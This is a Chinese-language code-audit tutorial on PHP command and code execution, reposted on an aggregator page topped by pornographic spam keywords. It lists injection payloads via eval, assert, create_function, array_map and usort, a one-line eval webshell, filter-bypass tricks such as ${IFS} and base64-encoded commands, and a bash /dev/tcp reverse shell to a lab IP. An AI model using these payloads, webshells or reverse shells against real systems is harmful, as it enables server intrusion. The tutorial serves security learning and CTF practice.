日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

代码审计——命令执行

發(fā)布時間:2023/12/31 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 代码审计——命令执行 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

文章目錄

    • 前言
    • 一、代碼執(zhí)行的幾種方式
      • 1、${}執(zhí)行代碼
      • 2、eval
      • 3、assert
      • 4、preg_replace
      • 5、create_function()
      • 6、array_map()
      • 7、call_user_func()/call_user_func_array()
      • 8、array_filter()
      • 9、usort()/uasort()
    • 二、常見命令執(zhí)行的函數(shù)
      • 1、system()
      • 2、passthru()
      • 3、exec()
      • 4、shell_exec()
      • 5、`反引號
      • 6、ob_start()
    • 三、代碼執(zhí)行繞過姿勢
      • 1、空格
      • 2、命令終止符
      • 3、命令分隔符
      • 4、敏感字符繞過(cat)
      • 5、無回顯命令執(zhí)行
        • 例題
      • 6、無字母命令執(zhí)行

前言

最近幾天簡單復(fù)習(xí)了代碼審計中的命令執(zhí)行,這篇為自我復(fù)現(xiàn)時的一些總結(jié)

一、代碼執(zhí)行的幾種方式

1、${}執(zhí)行代碼

例:

<?php ${system('whoami')}; ${phpinfo()}; ?>

2、eval

例:

<?php eval('echo "xx";'); echo "<br/>"; eval('system("whoami");'); echo "<br/>"; eval('phpinfo();'); ?>

3、assert

(1)普通調(diào)用:

<?php assert($_REQUEST[peak]);?> 利用: http://x.x.x.x/xx.php?peak=phpinfo(); http://x.x.x.x/xx.php?peak=system('whoami');

(2)動態(tài)調(diào)用:php官方在php7中更改了assert函數(shù)。在php7.0.29之后的版本不支持動態(tài)調(diào)用

<?php $a="assert"; $a($_REQUEST[peak]); ?> 利用同上

4、preg_replace

例:

<?php $a='phpinfo()'; //括號后面的分號可有可無 preg_replace('/ab/e',$a,'abc'); //注意,preg_repalce的第一個參數(shù)必須要整體匹配到第三個,才可php執(zhí)行參數(shù)2 ?>

5、create_function()

定義:create_function (string $args,string $code)

$args 變量部分 $code 方法代碼部分 這個匿名函數(shù)類似于 function xx($args){ $code; } xx($args);

注:create_function函數(shù)第二個參數(shù)只能使用雙引號或不使用任何符號,僅變量;第一個參數(shù)可使用單雙引號,也可以為空,但不能不使用符號;另外,第一個參數(shù)使用雙引號時,第二個參數(shù)不可有雙引號

例,一個可以命令執(zhí)行的代碼

$func=create_function('$a',"echo $a"); $func($a); #上面的匿名函數(shù)類似于下面這幾行代碼: function xx($a){ //創(chuàng)建一個函數(shù)xx echo $a; //需要代碼塊 } xx($a); //執(zhí)行函數(shù)#因為create_function函數(shù)的第二個參數(shù)是執(zhí)行代碼的 #所以,pyload如下 $a='phpinfo();'; $func=create_function('$a',"echo $a"); $func($a);

對比圖:

第二幅圖,瀏覽器展示:


一道CTF題目

<?php //02-8.php?id=2;}phpinfo();/* $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; $f1 = create_function('$a',$str2); echo "<br/>"; echo "=============================="; ?>1)遇到此類題目,可以將create_function函數(shù)以下方的形式進行構(gòu)造payload: function xx($a){$str2; }2)整體代碼就類似于: $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; function xx($a){echo .$a.'test'.$id.";"; } echo "<br/>"; echo "=============================="; ?>3)構(gòu)造payload,進行拼接:?id=2;}phpinfo();/* #因為$=id=2;}phpinfo();/* #所以$str2=echo test2;}phpinfo();/* 最后構(gòu)造的函數(shù)如下: function xx($a){echo test2;}phpinfo();/*; } ?>閉合function函數(shù),執(zhí)行phpinfo();

像?id=2;}eval(system('whoami'));/*可以執(zhí)行,并且system()后面可以不用分號,用分號反而報錯;但是,一句話木馬,url利用時?peak=system('whoami');,后面必須要分號,為啥呢?我們此時只需要記住,只要是源代碼中現(xiàn)寫或本來就存在的system語句,eval利用時不需要分號。例如eval(system('whoami'));反正只要使用GET、POST、REQUEST傳參,使用變量利用時需要就需要分號

6、array_map()

array_map() 函數(shù)將用戶自定義函數(shù)作用到數(shù)組中的每個值上,并返回用戶自定義函數(shù)作用后的帶有新值的數(shù)組

$a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; $c = array_map($a,$array); //payload:?a=assert&b=system('whoami'); //分號可有可無

拼接詳解

#payload:?a=assert&b=system('whoami'); $a = $_GET['a']; //$a=assert $b = $_GET['b']; //$b=system('whoami'); $array[0] = $b; //$array數(shù)組的第一個鍵的值為system('whoami'); $c = array_map($a,$array); //$c=array_map(assert,$array) //因為array_map函數(shù)將用戶自定義函數(shù)作用到數(shù)組中的每個值上,并返回用戶自定義函數(shù)作用后的帶有新值的數(shù)組,所以,array_map函數(shù)將assert函數(shù)作用到$array數(shù)組中的每個值上,又因為system('whoami');在$array數(shù)組中,所以,可以理解為使用assert函數(shù)執(zhí)行$array數(shù)組的值并返回結(jié)果,這里也就是使用assert函數(shù)執(zhí)行system('whoami');

效果如圖:

7、call_user_func()/call_user_func_array()

1、call_user_func()

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed 第一個參數(shù)callback是被調(diào)用的回調(diào)函數(shù),其余參數(shù)是回調(diào)函數(shù)的參數(shù)。 function xx($a){echo $a; } $b=call_user_func ('xx','test'); echo $b; call_user_func相當(dāng)于執(zhí)行參數(shù)1的函數(shù),也就是這里的xx,參數(shù)2是參數(shù)1函數(shù)的參數(shù),也就是這里的$a 注,call_user_func函數(shù)的參數(shù)不加單雙引號會報錯,但依舊輸出結(jié)果,可以@不輸出報錯


也可以使用系統(tǒng)函數(shù)

<?php @call_user_func(assert,$_REQUEST[peak]); ?> //payload:?peak=system('whoami'); //最后的分號可有可無

例:

2、call_user_func_array()

call_user_func_array ( callable $callback , array $param_arr ) : mixed 把第一個參數(shù)作為回調(diào)函數(shù)(callback)調(diào)用,把參數(shù)數(shù)組作(param_arr)為回調(diào)函數(shù)的的參數(shù)傳入(第二個參數(shù)需傳入鍵值),和call_user_func()使用方法類似

也可使用系統(tǒng)函數(shù)

<?php $array[0]=$_GET['peak']; @call_user_func_array("assert",$array); ?> //payoad:?peak=system('whoami');

例:

8、array_filter()

學(xué)習(xí)這個先要知道&除了是邏輯運算符,還是一個位運算符
例:3&1,就是3和1分別進行二進制的與運算,最后返回的值再轉(zhuǎn)換為10進制
只有當(dāng)2個數(shù)對應(yīng)的位都為1,該位運算結(jié)果為1,否則運算結(jié)果為0。即:1&1=1;1&0=0;0&0=0

array_filter (array $array [,callable $callback [,int $flag=0]]):arrayarray 要循環(huán)的數(shù)組callback 使用的回調(diào)函數(shù) 如果沒有提供 callback 函數(shù), 將刪除 array 中所有等值為 FALSE 的條目。更多信 息見轉(zhuǎn)換為布爾值。flag 決定callback接收的參數(shù)形式: ARRAY_FILTER_USE_KEY - callback接受鍵名作為的唯一參數(shù) ARRAY_FILTER_USE_BOTH - callback同時接受鍵名和鍵值

array_filter() 函數(shù)用回調(diào)函數(shù)過濾數(shù)組中的元素。
該函數(shù)把輸入數(shù)組中的每個鍵值傳給回調(diào)函數(shù)。如果回調(diào)函數(shù)返回 true,則把輸入數(shù)組中的當(dāng)前鍵值返回給結(jié)果數(shù)組。數(shù)組鍵名保持不變。
在線進制轉(zhuǎn)換:
https://tool.lu/hexconvert/
http://www.txttool.com/wenben_strbinary.asp

<?php function test_odd($var) { return($var & 1); }$a1=array("a","b",2,3,4); print_r(array_filter($a1,"test_odd")); ?> /* a的二進制:01100001 1的二進制:00000001 進行與運算的二進制結(jié)果:00000001 二進制轉(zhuǎn)10進制結(jié)果:1 所以a&1為1,綜上,b&1為0,2&1為0,3&1為1,4&1為0 但是他最后輸出的卻是:Array ( [3] => 3 ) 由此可見,大致推斷出,php使用&符號進行與運算時,只要有非數(shù)字字符串參加,其運算的結(jié)果都為0 */

示例:

漏洞示例:

$array[0] = $_GET['a']; array_filter($array,'assert'); //將數(shù)組中的每個鍵值傳給回調(diào)函數(shù)(回調(diào)函數(shù)就是一種說法,不用管他),也就是assert //如果回調(diào)函數(shù)返回true,這里也就是如果assert成功執(zhí)行,返回true,則把成功的結(jié)果返回 //true的原數(shù)組的值重新返還到原數(shù)組的對應(yīng)鍵名下(這邊也就是第0位) //payload:?a=system('whoami'); //分號可有可無

payload示例:

9、usort()/uasort()

1)定義: usort() 使用用戶自定義的比較函數(shù)對數(shù)組進行排序 (2)語法: usort(array,myfunction); 參數(shù) 描述 array 必需。規(guī)定要排序的數(shù)組。 myfunction 可選。一個定義了可調(diào)用比較函數(shù)的字符串。如果第一個參數(shù) <, =, > 第二個參數(shù),相應(yīng)地比較函數(shù)必須返回一個 <, =, > 0 的整數(shù)。

這里你就理解為array的值使用myfunction參數(shù)執(zhí)行
漏洞舉例:

<?php highlight_file(__FILE__); usort($_GET['id'],'assert'); ?> //payload:id[]=phpinfo()&id[]=xxx //注:使用該payload需要php版本大于等于7.0.12

$GET在php5.6中引入了新特性。即可以將數(shù)組展開成參數(shù)的形式,這是什么意思呢?就是在調(diào)用函數(shù)的時候,使用…運算符, 將數(shù)組和可遍歷對象展開為函數(shù)參數(shù),在usort中,理解為白話的意思就是,可將傳入的array數(shù)組,變?yōu)閙yfunction函數(shù)的參數(shù)。
官方文檔可參考:
https://www.php.net/manual/zh/migration56.new-features.php
漏洞舉例:

<?php highlight_file(__FILE__); usort(...$_GET); ?> //payload:?1[]=22&1[]=phpinfo();&2=assert //注;使用該payload,需要php版本為5.6.27 //7.0.12版本payload需要稍作修改:?1[]=phpinfo();&1[]=xx&2=assert //7.0.12版本往上不可用這些payload

那php5.6.27版本以下的怎么用usort,進行命令執(zhí)行呢?

highlight_file(__FILE__); usort($_GET,'assert'); //payload:?1=1&2=phpinfo(); //注:這里僅限php5.4.45版本


注:uasort()用法和usort用法相同,只需要將函數(shù)名修改一下即可

二、常見命令執(zhí)行的函數(shù)

1、system()

  • 介紹:執(zhí)行外部程序,并且顯示輸出

  • 說明

system( string $command[, int &$return_var] ) : string

同 C 版本的 system() 函數(shù)一樣,本函數(shù)執(zhí)行 command 參數(shù)所指定的命令,并且輸出執(zhí)行結(jié)果。
如果 PHP 運行在服務(wù)器模塊中, system() 函數(shù)還會嘗試在每行輸出完畢之后,自動刷新 web 服務(wù)器的輸出緩存。
該函數(shù)執(zhí)行后,直接在終端窗口打印命令執(zhí)行的結(jié)果
如果要獲取一個命令未經(jīng)任何處理的原始輸出,請使用 passthru() 函數(shù)。

  • 參數(shù)
    command
    要執(zhí)行的命令。
    return_var
    如果提供 return_var 參數(shù),則外部命令執(zhí)行后的返回狀態(tài)將會被設(shè)置到此變量中。
  • 返回值
    成功則返回命令輸出的最后一行,失敗則返回 FALSE
  • 例:
<?php highlight_file(__FILE__); echo '<br>'; system('whoami'); ?>

2、passthru()

介紹:執(zhí)行外部程序并且顯示原始輸出

  • 說明
passthru( string $command[, int &$return_var] ) : void

同 exec() 函數(shù)類似, passthru() 函數(shù)也是用來執(zhí)行外部命令(command)的。當(dāng)所執(zhí)行的 Unix 命令輸出二進制數(shù)據(jù),并且需要直接傳送到瀏覽器的時候,需要用此函數(shù)來替代 exec() 或 system() 函數(shù)。常用來執(zhí)行諸如 pbmplus 之類的可以直接輸出圖像流的命令。通過設(shè)置 Content-type 為 image/gif,然后調(diào)用 pbmplus 程序輸出 gif 文件,就可以從 PHP 腳本中直接輸出圖像到瀏覽器。

  • 參數(shù)
    command
    要執(zhí)行的命令。
    return_var
    如果提供 return_var 參數(shù), Unix 命令的返回狀態(tài)會被記錄到此參數(shù)。
  • 返回值
    沒有返回值。
  • 例:
<?php highlight_file(__FILE__); echo '<br>'; passthru('whoami'); ?>

3、exec()

  • 介紹:執(zhí)行一個外部程序
  • 說明
exec( string $command[, array &$output[, int &$return_var]] ) : string exec() 執(zhí)行 command 參數(shù)所指定的命令。
  • 參數(shù)
    command
    要執(zhí)行的命令。
    output
    如果提供了 output 參數(shù),那么會用命令執(zhí)行的輸出填充此數(shù)組,每行輸出填充數(shù)組中的一個元素。數(shù)組中的數(shù)據(jù)不包含行尾的空白字符,例如 \n 字符。請注意,如果數(shù)組中已經(jīng)包含了部分元素,exec() 函數(shù)會在數(shù)組末尾追加內(nèi)容。如果你不想在數(shù)組末尾進行追加,請在傳入 exec() 函數(shù)之前對數(shù)組使用 unset() 函數(shù)進行重置。
    return_var
    如果同時提供 output 和 return_var 參數(shù),命令執(zhí)行后的返回狀態(tài)會被寫入到此變量。
  • 返回值
    命令執(zhí)行結(jié)果的最后一行內(nèi)容。如果你需要獲取未經(jīng)處理的全部輸出數(shù)據(jù),請使用 passthru() 函數(shù)。
    如果想要獲取命令的輸出內(nèi)容,請確保使用 output 參數(shù)。
  • 總結(jié):執(zhí)行系統(tǒng)命令,但它并不會自己輸出,需要配合echo/print例:
<?php header("Content-type: text/html; charset=GBK2312"); highlight_file(__FILE__); echo '<br>'; echo exec('ipconfig').'<br>'; exec('ipconfig',$out); var_dump($out); ?>

4、shell_exec()

  • 介紹:通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。
  • 說明
shell_exec( string $cmd) : string 本函數(shù)同 執(zhí)行操作符。
  • 參數(shù)
    cmd
    要執(zhí)行的命令。
  • 返回值
    命令執(zhí)行的輸出。如果執(zhí)行過程中發(fā)生錯誤或者進程不產(chǎn)生輸出,則返回 NULL。
  • Note
    當(dāng)進程執(zhí)行過程中發(fā)生錯誤,或者進程不產(chǎn)生輸出的情況下,都會返回 NULL,所以,使用本函數(shù)無法通過返回值檢測進程是否成功執(zhí)行。如果需要檢查進程執(zhí)行的退出碼,請使用 exec() 函數(shù)。
  • 總結(jié):該函數(shù)也可執(zhí)行系統(tǒng)命令,同exec()函數(shù)一樣,需要使用配合echo/print來輸出顯示內(nèi)容
<?php header("Content-type: text/html; charset=GBK2312"); highlight_file(__FILE__); echo '<br>'; echo shell_exec('ipconfig'); ?>

5、`反引號

與shell_exec函數(shù)的功能相同。
shell_exec其實是它的變體,使用方法和shell_exec一樣,例:

<?php header("Content-type: text/html; charset=GBK2312"); highlight_file(__FILE__); echo '<br>'; echo `whoami`.'<br>'; echo `ipconfig`; ?>

6、ob_start()

函數(shù)格式:ob_start(void)
說明:當(dāng)緩沖區(qū)激活時,所有來自PHP程序的非文件頭信息均不會發(fā)送,而是保存在內(nèi)部緩沖區(qū)。為了輸出緩沖區(qū)的內(nèi)容,可以使用ob_end_flush()或flush()輸出緩沖區(qū)的內(nèi)容。

php代碼使用ob_start,就會打開緩沖區(qū),echo后面的字符不會輸出到瀏覽器,而是保留在服務(wù)器,直到你使用flush或者ob_end_flush才會輸出到瀏覽器

<?php header("Content-type: text/html; charset=GBK2312"); highlight_file(__FILE__); echo '<br>'; ob_start("system"); echo "ipconfig"; //注1:該函數(shù)只會返回最后一行數(shù)據(jù) //注2:只能使用一次echo語句,使用兩個會無法輸出 //注3:php版本需要小于等于5.6.27 ob_end_flush(); ?>

三、代碼執(zhí)行繞過姿勢

注: 這里的1.txt內(nèi)容為1 2.txt內(nèi)容為2 shell.php內(nèi)容為<?php @eval($_REQUEST['peak']);?>

1、空格

在bash中,可以使用以下字符代替空格 < ${IFS} $IFS$9 %09

例:

cat<xx.txt cat${IFS}xx.txt cat$IFS$9xx.txt

%09是在url中利用
例:假設(shè)目標(biāo)存在一句話,但過濾了空格
一句話:<?php @eval($_REQUEST[peak]);?>
payload:http://x.x.x.x/xx.php?peak=system('cat%09/flag.txt');

2、命令終止符

%00
%20#

3、命令分隔符

(1);
在shell中,分號表示連續(xù)執(zhí)行命令
例:

cat 1.txt;cat 2.txt


(2)&
在Linux中,命令之后加上&,表示該命令以后臺方式執(zhí)行。其中[1]表示后臺任務(wù)的標(biāo)識,后面的數(shù)字表明后臺執(zhí)行的任務(wù)的PID,所以第一個命令在shell中以后臺方式運行
例:

cat 1.txt&cat 2.txt


(3)&&
前面的命令執(zhí)行成功了,再執(zhí)行后面的;前面的不成功,不執(zhí)行后面的
例:

cat 1.txt&&cat 2.txt cat 3.txt&&cat 2.txt cat 2.txt&&cat 3.txt

(4)|
管道符左邊命令的輸出作為管道符右邊命令的輸入,因此左邊的命令不顯示,右邊的顯示
例:

cat 1.txt|cat 2.txt


(5)||
前面一個命令執(zhí)行失敗,再執(zhí)行后面;前面成功,不執(zhí)行后面
例:

cat 1.txt||cat 3.txt cat 3.txt||cat 2.txt cat 1.txt||cat 2.txt


(6)%0a/%0d
只執(zhí)行%0a/%0d后面的命令
例:

cat 1.txt%0acat 2.txt cat 1.txt%0dcat 2.txt

4、敏感字符繞過(cat)

(1)變量繞過

payload: http://x.x.x.x/shell.php?peak=system('a=ca;b=t;$a$b%09/flag.txt');


(2)base64編碼繞過

payload: 先在linux中base64編碼: echo 'cat' | base64 輸出結(jié)果為:Y2F0Cg== echo "Y2F0Cg==" | base64 -d 輸出的結(jié)果為:cat 再解碼利用(這里輸出的cat作為): http://192.168.100.141/shell.php?peak=system('`echo "Y2F0Cg==" | base64 -d`%09/flag.txt');


(3)命令后面可以添加未定義的初始化變量執(zhí)行命令(未定義的初始化變量就是$xx,$后面隨意值)
例:

cat$xx 1.txt cat$peak 1.txt


(4)連接符’’
例:

cat 1.t'x't


(5)將一個命令結(jié)果導(dǎo)入到文件中
例:

示例1: 1>1或a>1 ##創(chuàng)建文件名為1的空文件ls>1 ##把ls的內(nèi)容導(dǎo)入1文件中##cat 1可以看到ls的內(nèi)容,里面的內(nèi)容默認(rèn)追加\n 示例2: cat 2.txt>22;cat 22 //這樣也可以看到2.txt的內(nèi)容


(6)網(wǎng)絡(luò)地址轉(zhuǎn)化為數(shù)字地址

轉(zhuǎn)換網(wǎng)址:http://www.msxindl.com/tools/ip/ip_num.asp
例:

127.0.0.1轉(zhuǎn)換為2130706433

5、無回顯命令執(zhí)行

(1)使用延時函數(shù)
例:

ls|sleep 5

(2)使用http進行進行連接

  • 在攻擊機上執(zhí)行監(jiān)聽
nc -l -p 9999 -vvv

  • 在靶機上執(zhí)行反彈shell
bash -i >& /dev/tcp/192.168.208.146/9999 0>&1

  • 此時攻擊機會獲取到目標(biāo)ip的shell權(quán)限

例題

目標(biāo)www目錄下有一個peak.php和flag.txt,假設(shè)flag.txt無法直接訪問

<?php highlight_file(__FILE__); $ip = (string)$_GET['ping']; $ip = str_replace(">", "0.0", $ip); shell_exec("ping".$ip); ?>


(1)繞過方法1:使用cp命令將flag.txt復(fù)制重命名為22.txt,然后訪問22.txt

payload:http://192.168.208.153/peak.php?ping=127.0.0.1;cp flag.txt 22.txt


6、無字母命令執(zhí)行

可以參考:https://blog.csdn.net/qq_41617034/article/details/105251741

參考其他:
https://blog.csdn.net/JBlock/article/details/88311388
https://www.cnblogs.com/-mo-/p/11519447.html

總結(jié)

以上是生活随笔為你收集整理的代码审计——命令执行的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。